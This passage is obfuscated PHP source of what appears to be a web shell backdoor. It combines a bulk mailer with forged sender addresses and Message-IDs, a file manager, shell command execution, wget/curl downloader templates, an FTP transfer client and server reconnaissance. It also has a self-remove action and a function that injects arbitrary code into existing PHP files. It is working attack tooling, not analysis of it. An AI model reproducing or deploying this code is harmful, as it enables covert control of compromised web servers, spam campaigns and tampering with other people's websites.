"; $header .= "Content-Transfer-Encoding: 8bit\xa\xa"; $m_msg = $m1_msg; $m_subj = $m1_subj; if (@isset($m1_str) && !@empty($m1_str) && @isset($m1_replace) && !@empty($m1_replace)) { if ($m1_replace == "name") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message") { $m_msg = @str_replace($m1_str, $m1_name, $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject") { $m_subj = @str_replace($m1_str, $m1_name, $m_subj); } } elseif ($m1_replace == "email1") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message") { $m_msg = @str_replace($m1_str, $m1_from, $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject") { $m_subj = @str_replace($m1_str, $m1_from, $m_subj); } } elseif ($m1_replace == "email2") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message") { $m_msg = @str_replace($m1_str, $m_mail, $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject") { $m_subj = @str_replace($m1_str, $m_mail, $m_subj); } } elseif ($m1_replace == "emailhash") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message") { $m_msg = @str_replace($m1_str, @md5($m_mail), $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject") { $m_subj = @str_replace($m1_str, @md5($m_mail), $m_subj); } } } $m_pad = ''; if (@strlen($i) < $m_len) { $m_pad = @str_repeat("0", $m_len - @strlen($i)); } if (!@empty($m_mail)) { if (@isset($m1_preview) && $m1_preview) { if ($i > 5) { break; } echo z9f(z9j($m_pad . $i, "14", "2") . z9j($m_mail, "14") . z9j($from, "14") . z9j($m_msgid, "14") . z9j(z5i(z9s("245")), "14", "3"), $i % 2 ? "0" : "1"); } elseif (@mail($m_mail, $m_subj, $m_msg, $header)) { echo z9f(z9j($m_pad . $i, "14", "2") . z9j($m_mail, "14") . z9j($from, "14") . z9j($m_msgid, "14") . z9j(z5i(z9s("243")), "14", "3"), $i % 2 ? "0" : "1"); z5p(); $m_success++; } else { echo z9f(z9j($m_pad . $i, "14", "2") . z9j($m_mail, "14") . z9j($from, "14") . z9j($m_msgid, "14") . z9j(z8z(z9s("244")), "14", "3"), $i % 2 ? "0" : "1"); z5p(); $all_failed[] = $m_mail; $m_failed++; } $i++; } } } elseif ($c_ok) { $fcsv = @str_replace("\xd", "\xa", $m2_csv); $fcsv = z3q("\xa\xa", "\xa", $fcsv); $csv = z5g($fcsv); echo z9m("2") . z7i(z9j(z9s("237"), "8", "2") . z9j(z9s("238"), "8") . z9j(z9s("239"), "8") . (@isset($m2_verbose) && $m2_verbose ? z9j(z9s("242"), "8") : '') . z9j(z9s("240"), "8") . z9j(z9s("241"), "8", "3")); $m_count = @count($csv); $m_len = @strlen($m_count); z5p(); foreach ($csv as $str_csv) { if (@is_array($str_csv)) { $from = $m2_from; $m_mail = $str_csv[$m2_ecol]; if (@isset($m2_rand1) && $m2_rand1) { $from = @str_replace("@", @rand(100000, 999999) . "@", $from); } if (isset($m2_rand2) && $m2_rand2) { $hr = @rand(0, $ch); $m_msgid = @md5(@uniqid(@time())) . "@" . $host[$hr]; } else { $m_msgid = @md5(@uniqid(@time())) . "@" . $_SERVER["SERVER_NAME"]; } $header = ''; $header .= "From: {$m2_name} <{$from}>
"; $header .= "Reply-To: <{$from}>\xa"; $header .= "Message-ID: <" . $m_msgid . ">
"; $header .= "MIME-Version: 1.0\xa"; $date = @date("Y-m-d"); $header .= "Date: {$date}
"; $header .= "Content-Type: text/html; charset=UTF-8
"; $header .= "Content-Transfer-Encoding: 8bit
\xa"; $m_msg = $m2_msg; $m_subj = $m2_subj; $repl = array(); for ($si = @count($str_csv) - 1; $si >= 0; $si--) { if (@empty($m2_where)) { $m_msg = @str_replace($m2_prefix . $si, $str_csv[$si], $m_msg); $m_subj = @str_replace($m2_prefix . $si, $str_csv[$si], $m_subj); $repl[] = $m2_prefix . $si . " = " . $str_csv[$si] . z9x(); } else { $m_msg = @str_replace($m2_prefix . $si, $str_csv[$si], $m_msg); $repl[] = $m2_prefix . $si . " = " . $str_csv[$si] . z9x(); } } $replacing = @count($repl) > 0 ? @implode('', @array_reverse($repl)) : ''; $m_pad = ''; if (@strlen($i) < $m_len) { $m_pad = @str_repeat("0", $m_len - @strlen($i)); } if (!@empty($m_mail)) { if (@isset($m2_preview) && $m2_preview) { if ($i > 5) { break; } echo z9f(z9j($m_pad . $i, "14", "2") . z9j($m_mail, "14") . z9j($from, "14") . (@isset($m2_verbose) && $m2_verbose ? z9j($replacing, "14") : '') . z9j($m_msgid, "14") . z9j(z5i(z9s("245")), "14", "3"), $i % 2 ? "0" : "1"); } elseif (@mail($m_mail, $m_subj, $m_msg, $header)) { echo z9f(z9j($m_pad . $i, "14", "2") . z9j($m_mail, "14") . z9j($from, "14") . (@isset($m2_verbose) && $m2_verbose ? z9j($replacing, "14") : '') . z9j($m_msgid, "14") . z9j(z5i(z9s("243")), "14", "3"), $i % 2 ? "0" : "1"); z5p(); $m_success++; } else { echo z9f(z9j($m_pad . $i, "14", "2") . z9j($m_mail, "14") . z9j($from, "14") . (@isset($m2_verbose) && $m2_verbose ? z9j($replacing, "14") : '') . z9j($m_msgid, "14") . z9j(z8z(z9s("244")), "14", "3"), $i % 2 ? "0" : "1"); z5p(); $all_failed[] = $m_mail; $m_failed++; } $i++; } } } echo z10w(); } if (!@isset($m2_preview) || !$m2_preview) { echo z6d() . z10e(z7i(z6x(z9s("426", $m_count) . z9c() . z9s("427", $m_success) . z9c() . z9s("428", $m_failed) . ($m_failed > 0 ? z9c() . z9s("431") : ''))), "2"); if (@count($all_failed) > 0) { echo z10e(z9f(z6x(z5w('', "1", 1) . @implode("\xa", @array_unique($all_failed)) . z5q())), "2"); } } } } goto e5RW2; VIAuM: $bopendir = @count(z9d(@ini_get("open_basedir"))) > 0 ? 1 : 0; goto ubUwE; o7CNm: function z8x($i) { return @is_bool($i) ? $i ? "1" : "0" : $i; } goto HOV_B; h9eR1: function z9r($m, $s = 0) { if (($m & 49152) === 49152) { $t = "s"; } elseif (($m & 16384) === 16384) { $t = "d"; } elseif (($m & 40960) === 40960) { $t = "l"; } elseif (($m & 32768) === 32768) { $t = "-"; } elseif (($m & 24576) === 24576) { $t = "b"; } elseif (($m & 8192) === 8192) { $t = "c"; } elseif (($m & 4096) === 4096) { $t = "p"; } else { $t = "?"; } $a["r"] = ($m & 256) > 0; $a["w"] = ($m & 128) > 0; $a["x"] = ($m & 64) > 0; $b["r"] = ($m & 32) > 0; $b["w"] = ($m & 16) > 0; $b["x"] = ($m & 8) > 0; $c["r"] = ($m & 4) > 0; $c["w"] = ($m & 2) > 0; $c["x"] = ($m & 1) > 0; if ($s) { return array("t" => $t, "o" => $a, "g" => $b, "w" => $c); } $o["r"] = $a["r"] ? "r" : "-"; $o["w"] = $a["w"] ? "w" : "-"; $o["x"] = $a["x"] ? "x" : "-"; $g["r"] = $b["r"] ? "r" : "-"; $g["w"] = $b["w"] ? "w" : "-"; $g["x"] = $b["x"] ? "x" : "-"; $w["r"] = $c["r"] ? "r" : "-"; $w["w"] = $c["w"] ? "w" : "-"; $w["x"] = $c["x"] ? "x" : "-"; if ($m & 2048) { $o["x"] = $o["x"] == "x" ? "s" : "S"; } if ($m & 1024) { $g["x"] = $g["x"] == "x" ? "s" : "S"; } if ($m & 512) { $w["x"] = $w["x"] == "x" ? "t" : "T"; } return $t . @join('', $o) . @join('', $g) . @join('', $w); } goto QuCQY; BEvCo: $getaliases = array("wget" => "[%1%] [%2%] -O [%3%]", "fetch" => "[%1%] -p [%2%] -o [%3%]", "lynx" => "[%1%] -source [%2%] > [%3%]", "links" => "[%1%] -source [%2%] > [%3%]", "GET" => "[%1%] [%2%] > [%3%]", "curl" => "[%1%] [%2%] -o [%3%]"); goto tIsLZ; kNdTQ: if (@function_exists("set_time_limit")) { @set_time_limit(0); } elseif (@function_exists("ini_set")) { @ini_set("max_execution_time", 300); } elseif (function_exists("ini_alter")) { @ini_alter("max_execution_time", 300); } goto xy3SS; f_N4w: if ($act == "d") { if (@isset($dt)) { $dt = @trim($dt); if (!@empty($dt)) { switch ($dt) { case "new": if (!z4j($d)) { @mkdir($d); } $act = "ls"; break; case "chdir": if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "ls"; break; case "rename": if (@isset($tt) && z4j($tt)) { if (@isset($drename) && $drename && @isset($newname) && !@empty($newname)) { if (z3p($newname) == "./") { $newname = z3p($tt) . z2h($newname); } elseif (!z4q(z3p($newname))) { $newname = z3p($tt) . $newname; } if (z4q($newname) && z4j($newname)) { $newname = z1a($newname) . z2h($tt); } $rendirmsg = z2b(@rename($tt, $newname) ? z9s("474", $newname) : z9s("475", $tt), "0"); } else { $showrename1 = 1; } } $act = "ls"; break; case "delete": if (z4q($tt)) { z8d($tt); } $act = "ls"; break; case "functions": if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "dfunc"; break; case "bcopy": if (@isset($tt) && z4j($tt)) { $abuf = $dt; } $act = "ls"; break; case "bcut": if (@isset($tt) && z4j($tt)) { $abuf = $dt; } $act = "ls"; break; case "bpastecopy": $abuf = $dt; if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "ls"; break; case "bpastecut": $abuf = $dt; if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "ls"; break; case "bpasteall": $abuf = $dt; if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "ls"; break; default: break; } } } } goto b0Psl; IR5Z4: $d = z1a($d); goto pvjBW; sAQAM: function z8v($i, $c = '', $s = '') { return z6p('', $i, $c, $s); } goto GyyLj; bi7kC: function z9v($d) { global $with_ls; $r = array(); $ls = @str_replace("\", '', z9t("ls -a "" . $d . "" 2>/dev/null", 0)); $e = @explode("
", $ls); if (@count($e) > 0) { $with_ls = 1; foreach ($e as $p) { if ($p != '' && $p != $d && !@in_array($d . $p, $r)) { $r[] = $d . $p; } } } return $r; } goto RWVXE; yhHlJ: function z7p($c = '', $id = '') { return z6f("top", $c, $id); } goto fVDkB; I1jhT: if ($bmysql) { $a_sql[] = "MySQL"; } goto vhO0t; wQer1: function z5a() { global $sh_exec, $nix; $mem = $buff = $swap = array('', z9s("430")); if ($nix && $sh_exec) { $m = z9t("free -b"); if (!@empty($m)) { $e = @explode("
", $m); foreach ($e as $l) { if (@preg_match("/mem:\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)/i", $l, $t)) { $used = @round($t[2] / $t[1] * 100); $mem = array(z2g($used), z9s("426", z7c($t[1])) . " " . z9s("429", z7c($t[2])) . " (" . $used . "%) " . z9s("465", z7c($t[3]))); } elseif (@preg_match("/swap:\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)/i", $l, $t)) { $used = @round($t[2] / $t[1] * 100); $swap = array(z2g($used), z9s("426", z7c($t[1])) . " " . z9s("429", z7c($t[2])) . " (" . $used . "%) " . z9s("465", z7c($t[3]))); } elseif (@preg_match("/-\/\+ buffers\/cache:\s*([0-9]+)\s*([0-9]+)/i", $l, $t)) { $tot = $t[1] + $t[2]; $used = @round($t[1] / $tot * 100); $buff = array(z2g($used), z9s("426", z7c($tot)) . " " . z9s("429", z7c($t[1])) . " (" . $used . "%) " . z9s("465", z7c($t[2]))); } } } } return array($mem, $buff, $swap); } goto wF1i2; S8mJj: if ($use_buffer) { if ($act == "f" && @in_array($ft, $a_buf)) { $act = "ls"; $abuf = $ft; $f = $d . $f; } if (@isset($emptybuf) && $emptybuf) { z0a(); } z1g(); if (@isset($abuf) && @in_array($abuf, $a_buf)) { if (@isset($tt)) { z1l($tt, $abuf); } if (@isset($f)) { z1l($f, $abuf); } } elseif (@isset($abuf) && @in_array($abuf, $b_buf)) { switch ($abuf) { case "bpastecopy": if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) { foreach ($bcopy as $tcf) { if (z4q($tcf)) { z7b($tcf, z4j($tcf) ? z1a($d) . z2h($tcf) : z1a($d)); } } } break; case "bpastecut": if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) { foreach ($bcut as $tcf) { if (z4q($tcf)) { z8a($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : '')); } z1l($tcf, "bcut"); } } break; case "bpasteall": if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) { foreach ($bcopy as $tcf) { if (z4q($tcf)) { z7b($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : '')); } } } if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) { foreach ($bcut as $tcf) { if (z4q($tcf)) { z8a($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : '')); } z1l($tcf, "bcut"); } } break; default: break; } } z1w(); if (@isset($showbuf) && $showbuf) { $ls_a = @array_merge($bcopy, $bcut); } } goto ETgkI; Qru3k: function z6r($i, $n, $c = '', $s = '') { return z4l($n, $c, $s) . $i . z7g(); } goto N1cV2; AH0dd: function z7u() { return "</tr>" . "\xa"; } goto iNnAK; dujxL: function z0q($t) { return z5c(array("act" => "ftp", "flsort", "ffsort", "d", "rd" => $t), z4a("ft", array("chdir" => z9s("425")), "3") . z8v("»", "6")); } goto pGxqN; BxibQ: function z2n($ip) { $ip = @preg_replace("/[\t\s\r\n]/", '', $ip); if (!@is_numeric(@str_replace(".", '', $ip)) || @substr_count($ip, ".") != 3) { return "failed"; } else { $dec = z2x($ip); $hex = "0x" . @dechex($dec); return $hex; } } goto mc7TU; w1zI2: function z3n() { return "<script type="text/javascript">\xaif(!document.getElementById){ if(document.all){ document.getElementById=function(){ if(typeof document.all[arguments[0]]!="undefined"){ return document.all[arguments[0]]; } else { return null; };};} else if(document.layers){ document.getElementById=function(){ if(typeof document[arguments[0]]!="undefined"){ return document[arguments[0]]; } else { return null; };};};}
function changecls(trid, newcls){ try { document.getElementById(trid).className = document.getElementById(trid).className.replace(/[a-zA-Z0-9]+/,newcls); } catch(err){} }
function changetr(trid, vbool){ if(vbool){ changecls(trid,"list3"); } else { if(trid.substr(0,3) == "tra"){ changecls(trid,"list1"); } else { changecls(trid,"list2");};};}\xafunction chkfrm(inid, hid){ var inputs=document.getElementsByTagName("input");var ichk=[];for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ if(inputs[i].checked){ ichk.push(inputs[i].value);};};};if(ichk.length > 0){ document.getElementById(hid).value = ichk.join("\n"); return true; } else { return false;};}
function chkall(inid,vbool){ var inputs=document.getElementsByTagName("input");for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ inputs[i].checked = vbool; changetr(inputs[i].id.replace('chk', ''), vbool); };};}\xafunction invall(inid){ var inputs=document.getElementsByTagName("input");for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ if(inputs[i].checked == true){ inputs[i].checked = false; changetr(inputs[i].id.replace('chk', ''), false); } else { inputs[i].checked = true; changetr(inputs[i].id.replace('chk', ''), true); };};};}
</script>"; } goto SsK4b; mMJM8: function z7r($f) { return @function_exists($f) && @is_callable($f) && !@in_array($f, z6j()) ? 1 : 0; } goto sFpBd; XNHbm: if ($act == "dfunc") { z2z(); z1q($d, 0, 1); if (z7r("touch")) { z2v(); echo z2b(z9s("124") . z9c() . z4p($d)); echo z10e(z5n() . (@isset($tmsg) && !@empty($tmsg) ? z7i(z5t(z9c()) . z9j($tmsg)) : '') . z7i(z5c(array("act", "d", "st1" => "1"), z5t(z9s("104")) . z9j(z5u("copy_from", '', "9") . z8v(z9s("112"), "7")))) . z7i(z5c(array("act", "d", "st2" => "1"), z5t(z9s("105")) . z9j(z4a("tmonth", $tmonth_arr, "4", 1) . "-" . z4a("tday", $tday_arr, "4", 1) . "-" . z4a("tyear", $tyear_arr, "4", 1) . z9c(12) . z4a("thour", $thour_arr, "1", 1) . ":" . z4a("tmin", $tmin_arr, "1", 1) . ":" . z4a("tsec", $tsec_arr, "1", 1) . z8v(z9s("112"), "7")))) . z5n(), "2"); } } goto AFaDc; pGBDb: function z7t($c = '', $s = '') { return z6z("left", $c, $s); } goto V62DO; HPvQA: function z3b() { global $linux, $saddr, $dtotal, $dfree, $bsafe, $bopendir, $bmysql, $bmssql, $boracle, $bpostgres, $bcurl, $use_images; $a = @explode(" ", @getenv("SERVER_SOFTWARE")); $b = @explode("-", @phpversion()); if (@isset($a[0])) { $www = $a[0]; } else { $www = "Unknown"; } $www .= z9c(1) . z5c(array("act" => "phpinfo", "d"), z8v("PHP/" . $b[0], "0")); echo z10e(z7i(z7l(z7o("http://whois.domaintools.com/" . $saddr, "1", "POST") . z8v(z9s("4"), "0") . z9z() . z9c(5) . z7o("http://www.domaintools.com/research/traceroute/?query=" . $saddr, "1", "POST") . z8v(z9s("5"), "0") . z9z(), "6", "5") . z7e(z5c(array("act" => "selfremove", "d"), z8v(z9s("6"), "0")) . z9c(5) . z5c(array("act" => "logout", "d"), z8v(z9s("7"), "0")), "6", "5")), "6"); echo z10e(z7i(z6x(z9s("8"), "2", "2") . ($linux ? z6x(z9s("9"), "2") : '') . z6x(z9s("1"), "2") . z6x(z9s("10"), "2") . z6x(z9s("11"), "2") . z6x(z9s("12"), "2") . z6x(z9s("13"), "2") . z6x(z9s("14"), "2") . z6x(z9s("15"), "2") . z6x(z9s("16"), "2") . z6x(z9s("17"), "2") . z6x(z9s("18"), "2")) . z7i(z6x(z9a(), "3", "2") . ($linux ? z6x(@php_uname("r"), "3") : '') . z6x(z5k(), "3") . z6x($dtotal . " / " . $dfree, "3") . z6x($www, "3") . z6x($bsafe ? z6y(z9s("19"), "nr") : z6y(z9s("20"), "rw"), "3") . z6x($bopendir ? z6y(z9s("21"), "nr") : z6y(z9s("424"), "rw"), "3") . z6x($bcurl ? z6y(z9s("21"), "rw") : z9s("22"), "3") . z6x($bmysql ? z6y(z9s("21"), "rw") : z9s("22"), "3") . z6x($bmssql ? z6y(z9s("21"), "rw") : z9s("22"), "3") . z6x($boracle ? z6y(z9s("21"), "rw") : z9s("22"), "3") . z6x($bpostgres ? z6y(z9s("21"), "rw") : z9s("22"), "3")), "3"); } goto h2iHX; zdLYu: function z2r($f, $t) { global $nix, $sh_exec; if (@file_exists($f)) { if ($t == "f") { return @is_file($f); } if ($t == "d") { return @is_dir($f); } if ($t == "L") { return @is_link($f); } if ($t == "r") { return @is_readable($f); } if ($t == "w") { return @is_writable($f); } if ($t == "x") { return @is_executable($f); } } elseif ($nix && $sh_exec) { $h = z9t("if [ -" . $t . " "" . $f . "" ]; then echo "istrue"; else echo "isfalse"; fi", 0); return @strstr($h, "istrue") && !@strstr($h, "isfalse"); } return 0; } goto icFMi; urrSR: $saddr = @isset($_SERVER["SERVER_ADDR"]) ? $_SERVER["SERVER_ADDR"] : (@isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : "127.0.0.1"); goto ka3bU; O_Fet: function z7l($i, $c = '', $s = '') { return z5z($c, $s) . $i . z7g(); } goto w52oA; rfd47: if (@empty($d)) { $d = @getcwd(); } goto IR5Z4; cnIak: function z7c($s) { if (!@is_numeric($s)) { return "0 B"; } $m = 1024; $u = @explode(" ", "B KB MB GB TB PB"); for ($i = 0; $s > $m; $i++) { $s /= $m; } return @round($s, 2) . " " . $u[$i]; } goto MzhuR; eOmEi: class ftp { var $server = ''; var $port = 21; var $user = ''; var $userDir = ''; var $password = ''; var $connection = ''; var $passive = false; var $systype = ''; var $mode = FTP_BINARY; var $loggedOn = false; var $downloadDir = ''; function ftp($server, $port, $user, $password, $passive = false) { $this->server = $server; $this->port = $port; $this->user = $user; $this->password = $password; $this->connect(); $this->setPassive($passive); } function connect() { $this->connection = @ftp_connect($this->server, $this->port); $this->loggedOn = @ftp_login($this->connection, $this->user, $this->password); $this->systype = @ftp_systype($this->connection); return; } function setPassive($passive) { $this->passive = $passive; @ftp_pasv($this->connection, $this->passive); return; } function setMode($mode = 1) { $this->mode = $mode; return; } function setCurrentDir($dir = false) { if ($dir) { @ftp_chdir($this->connection, $dir); } $this->currentDir = z1a(@ftp_pwd($this->connection)); return $this->currentDir; } function setDownloadDir($dir) { $this->downloadDir = $dir; return; } function chmod($p, $f) { return @ftp_site($this->connection, "chmod {$p} {$f}"); } function cd($dir) { if ($dir == "..") { @ftp_cdup($this->connection); } else { if (!@ftp_chdir($this->connection, $this->currentDir . $dir)) { @ftp_chdir($this->connection, $dir); } } $this->currentDir = z1a(@ftp_pwd($this->connection)); return; } function is_dir($dir) { if (@ftp_chdir($this->connection, $dir)) { @ftp_chdir($this->connection, ".."); return true; } else { return false; } } function get($file, $dest = '', $t = 0) { if ($dest == '') { $dest = $this->downloadDir; } return @ftp_get($this->connection, $t ? $dest : z1a($dest) . z2h($file), "{$file}", $this->mode); } function getRecursive($src, $dest = '') { if ($dest == '') { $dest = $this->downloadDir; } $target = z2h($src); $src = z1a($src); $dest = z1a($dest) . $target; if (!z4q($dest)) { @mkdir($dest); } $list = @ftp_nlist($this->connection, $src); for ($x = 0; $x < @count($list); $x++) { $o = z2h($list[$x]); if ($o != "." && $o != "..") { if ($this->is_dir($src . $o)) { $this->getRecursive($src . $o, $dest); } else { $this->get($src . $o, $dest); } } } } function getObject($src, $dest = '') { if ($dest == '') { $dest = $this->downloadDir; } if ($this->is_dir($src)) { return $this->getRecursive(z1a($src), $dest); } else { return $this->get($src, $dest); } } function put($rf, $lf) { return @file_exists($lf) ? @ftp_put($this->connection, $rf, $lf, $this->mode) : false; } function putRecursive($src, $dest = '') { if ($dest == '') { $dest = $this->currentDir; } $target = z2h($src); $src = z1a($src); $dest = z1a($dest) . $target; $this->makeDir($dest); $list = z8k($src); for ($x = 0; $x < @count($list); $x++) { $o = z2h($list[$x]); if ($o != "." && $o != "..") { if (z4j($src . $o)) { $this->putRecursive($src . $o, $dest); } else { $this->put(z1a($dest) . $o, $src . $o); } } } } function putObject($src, $dest = '') { if ($dest == '') { $dest = $this->currentDir; } $target = z2h($src); if (z4j($src)) { return $this->putRecursive($src, $dest); } else { return $this->put(z1a($dest) . $target, $src); } } function deleteFile($rf) { return @ftp_delete($this->connection, "{$rf}"); } function deleteObject($obj) { $cobj = z2h($obj); if ($cobj != "." && $cobj != "..") { if ($this->is_dir($obj)) { if ($list = @ftp_nlist($this->connection, "{$obj}")) { for ($x = 0; $x < @count($list); $x++) { $o = z2h($list[$x]); if ($o != "." && $o != "..") { $this->deleteObject(z1a($obj) . $o); } } } @ftp_rmdir($this->connection, "{$obj}"); } else { $this->deleteFile("{$obj}"); } } } function rename($old, $new) { return @ftp_rename($this->connection, "{$old}", "{$new}"); } function makeDir($dir) { return @ftp_mkdir($this->connection, "{$dir}"); } function parseline($raw) { if (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([^ ]+)[ ]+(.+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ]+(.*)/", $raw, $m)) { $l = array($m[1] == "d" ? "d" : ($m[1] == "l" ? "l" : "f"), $m[9], $m[6]); } elseif (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+(.*)[ ]+([a-zA-Z0-9 ]+)[ ]+([0-9:]+)[ ]+(.*)/", $raw, $m)) { $l = array($m[1] == "d" ? "d" : ($m[1] == "l" ? "l" : "f"), $m[6], $m[3]); } elseif (@preg_match("/([0-9\/-]+)[ ]+([0-9:AMP]+)[ ]+([0-9]*|<DIR>)[ ]+(.*)/", $raw, $m)) { $l = array($m[3] == "<DIR>" ? "d" : "f", $m[4], $m[3]); } elseif (@preg_match("/([-]|[d])[ ]+(.{10})[ ]+([^ ]+)[ ]+([0-9]*)[ ]+([a-zA-Z]*[ ]+[0-9]*)[ ]+([0-9:]*)[ ]+(.*)/", $raw, $m)) { $l = array($m[1] == "d" ? "d" : "f", $m[7], $m[4]); } elseif (@preg_match("/([a-zA-Z0-9_-]+)[ ]+([0-9]+)[ ]+([0-9\/-]+)[ ]+([0-9:]+)[ ]+([a-zA-Z0-9_ -\*]+)[ \/]+([^\/]+)/", $raw, $m)) { $l = array($m[5] == "*STMF" ? "f" : "d", $m[6], $m[2]); } elseif (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ](.*)/", $raw, $m)) { $l = array($m[1] == "d" ? "d" : ($m[1] == "l" ? "l" : "f"), $m[9], $m[6]); } else { $l = array(); } if (!@isset($l[1]) || $l[1] == "." || $l[1] == ".." || @substr($raw, 0, 5) == "total") { return array(); } return $l; } function ftpRawList($dir = '') { if ($dir == '') { $dir = $this->currentDir; } $files = array(); $list = @ftp_rawlist($this->connection, "-a " . $dir); if (@is_array($list)) { $i = 0; foreach ($list as $raw) { $line = $this->parseline($raw); if (@count($line) == 3) { $files[$i] = $line; $i++; } } } return $files; } } goto vWBPR; mdHKd: function z9g($n, $v = "1", $o = '', $i = '') { global ${$n}; return "<input type="checkbox" id="" . $i . "" name="" . $n . "" value="" . $v . "" style="vertical-align: middle;"" . ($o == '' ? ${$n} == $v ? " checked" : '' : ($o ? " checked" : '')) . ">"; } goto f5K4K; c2BKM: function z2j() { global $nix, $sh_exec, $ft, $d, $f; $r = ''; $a = array("functions" => z9s("74"), "edit" => z9s("75"), "text" => z9s("79"), "code" => z9s("80"), "html" => z9s("81"), "htmls" => z9s("82"), "exe" => z9s("83"), "sess" => z9s("84"), "sdb" => z9s("85"), "ini" => z9s("86"), "img" => z9s("87"), "hex" => z9s("88")); if (($wwwdir = z3k()) !== false) { if (@strstr($d . $f, $wwwdir) !== false) { $a["web"] = z9s("89"); } } $a["download"] = z9s("76"); $fta = z4s($f); foreach ($a as $k => $v) { if ($k != "exe" || $k == "exe" && $sh_exec) { $r .= z7l(z5c(array("act" => "f", "d", "f", "ft" => $k), z8v($v, $ft == $k ? "12" : (@in_array($k, $fta) ? "13" : "14")))); } } echo z7s(z7i($r)); } goto j4lOh; bdx4m: if ($act == "f" && @isset($ft) && $ft == "rename" && @isset($f) && !@empty($f)) { if (@isset($frename) && $frename && @isset($newname) && !@empty($newname)) { if (z3p($newname) == "./") { $newname = z3p($ff) . z2h($newname); } elseif (!z4q(z3p($newname))) { $newname = z3p($ff) . $newname; } if (z4q($newname) && z4j($newname)) { $newname = z1a($newname) . z2h($ff); } echo z2b(@rename($ff, $newname) ? z9s("474", $newname) : z9s("475", $ff), "0"); } else { if (!isset($ff)) { if (z4q($d . $f)) { $ff = $d . $f; } elseif (z4q($f)) { $ff = $f; } } echo z2b(z5c(array("act" => "f", "f", "d", "ft" => "rename", "ff", "frename" => "1"), z10e(z7i(z6x(z8e(z9s("473", z2h($ff))) . z5u("newname", $ff, "9") . z8v(z9s("73"), "7"))), "2")), "0"); } $act = "ls"; } elseif ($act == "f" && @isset($ft) && $ft == "delete" && @isset($f) && !@empty($f)) { $ff = ''; if (z4q($d . $f)) { $ff = $d . $f; } elseif (z4q($f)) { $ff = $f; } if (z4q($ff)) { z8d($ff); } $act = "ls"; } goto LRlIH; qnFk5: function z8m($i, $a, $c = '') { return z1f("button", $i, $a, $c); } goto a1VLh; fVDkB: function z6g($c = '', $id = '') { return z6f("middle", $c, $id); } goto dsV5V; JElT1: function z5w($n = '', $c, $r = 0, $w = '', $h = '') { return "<textarea" . ($n != '' ? " id="" . $n . "" name="" . $n . """ : '') . " class="" . z4m($c, "6") . """ . ($w != '' || $h != '' ? " style="" . ($w != '' ? "width:" . $w . "px;" : '') . ($h != '' ? "height:" . $h . "px;" : '') . """ : '') . ($r ? " readonly" : '') . ">"; } goto sKj2u; jDx2x: function z9h($n, $c = '', $s = '') { return "<input type="file" name="" . $n . "" id="" . $n . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($s != '' ? z10t($s) : '') . ">"; } goto vn22N; xy3SS: if (@function_exists("set_magic_quotes_runtime")) { @set_magic_quotes_runtime(0); } goto r_d5C; fSYfL: function z4c($a = '', $n, $c = '', $s = '') { return "<td colspan="" . $n . """ . ($a != '' ? " align="" . $a . """ : '') . ($c != '' ? " class="" . z4m($c, "2") . """ : '') . ($s != '' ? z10t($s) : '') . ">" . "
"; } goto BQfnP; e3R6J: if ($bpostgres) { $a_sql[] = "PostgreSQL"; } goto Ev0aB; dsV5V: function z5v($c = '', $id = '') { return z6f("bottom", $c, $id); } goto hTpc_; dUNL1: function z0k($n) { return @isset($_SESSION[$n]) ? $_SESSION[$n] : false; } goto CQHp4; muy7F: function z5k() { return z7r("get_current_user") && @get_current_user() != '' ? @get_current_user() : "Unknown"; } goto qQxE4; pCD2U: foreach ($_POST as $postk => $postv) { if (@substr($postk, 0, 6) == "backf_") { $postk = @substr($postk, 6); $postv = @urldecode($postv); } if ($postk == "merged") { $ar_merged = parse_str(base64_decode($postv)); if (@count($ar_merged) > 0) { foreach ($ar_merged as $kkey => $kval) { if (!@isset(${$kkey})) { ${$kkey} = @urldecode($kval); } } } } else { if (!@isset(${$postk})) { ${$postk} = $postv; } } } goto gKlw2; Jf7Yq: function z9d($d, $s = ":") { if ($d != '') { if (!@strstr($d, $s)) { return array($d); } return @array_map("trim", @explode($s, $d)); } return array(); } goto cQURc; yWDUh: function z4i($inj, $w, $f) { $c = z9p($f); $r = ''; if (!$c) { return false; } switch ($w) { case "top": $r = $inj . $c; break; case "end": $r = $c . $inj; break; case "php1": $p = @strpos($c, "<?"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "php2": $p = z2m($c, "?>"); if ($p === false) { return false; } $p += 2; $r = @substr($c, 0, $p) . $inj . 